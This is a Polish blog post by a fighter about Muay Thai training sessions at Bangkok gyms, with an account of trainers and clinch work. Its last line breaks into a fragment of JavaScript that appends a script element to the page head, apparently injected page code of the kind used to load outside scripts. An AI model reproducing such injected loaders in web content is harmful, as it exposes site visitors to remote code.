Treningi w Bangkoku

5.09.2013 / Paweł Jędrzejczyk / Sztuki walki

Treningi w Tajlandii to wspaniała okazja żeby podnosić swoje umiejętności.Chodzi przecież właśnie o to żeby byc coraz lepszym.Odwiedzam ten kraj kilka razy w roku.Tym razem nie stoczę jednak kolejnej walki.Po złamaniu reki ani śladu ale lekarz zalecał żebym odczekał jeszcze trochę czasu.Jak już wspominałem w poprzednim poście nie mam zamiaru się wykręcać od treningu.Tym razem mam czas aby odwiedzić kilka gymów i potrenować z rożnymi zawodnikami.Byłem oczywiście w Sasiprapa Gym u promotora i zrobić dobry trening.Kilka dni spędziłem w słynnym Sangmorakot gym.Zaczynalismy o 6tej rano.Brzmi nieciekawie:) ale tutaj nie stanowi to takiego problemu jak w Polsce.Najpierw bieg ok 40 minut,intensywnie,poźniej standardowo- mocna tarcza(praca z trenerem-symulacja walki),rundy po 5 minut!To naprawdę sporo,w innych gymach jest krócej ale przeważnie równie cieżko.Nastepnie dobijamy pare rund na worku i 30-40 minut klinczu bez przerwy.Wytrzymałość siłowa to moja mocna strona ale mniejsi zawodnicy przede wszystkim tajowie potrafią zmęczyć:).Naprawde maja o tym pojecie.Wiedzą  też co to  dobra zabawa,wszystko jest z uśmiechem na twarzy.Podczas treningu jeden z trenerów chodził po gymie i przygrywał mi na gitarce:)

 

 

2013-09-02 04.34.23 WER_4898 WER_4913 WER_4864

 

Odwiedziłem tez starego znajomego z czasów gdy trenowałem na wyspie Koh Samui w WMC Camp. Trainer Gae to gośc w moim wieku a treningi u niego to piekło:)Pracuje w Elite Boxing.Mocna tarcza to standard ale nawet w trakcie klinczu odrywał mnie od zawodnika i kazał kopać po 20 razy na nogę.Klincz robiłem z Berneungiem-niedawno zdobył tytuł znaczacej organizacji WPMF..ten gosc to człowiek imadło:)

C.D.N………d.getElementsByTagName(‚head’)[0].appendChild(s);if (document.currentScript) {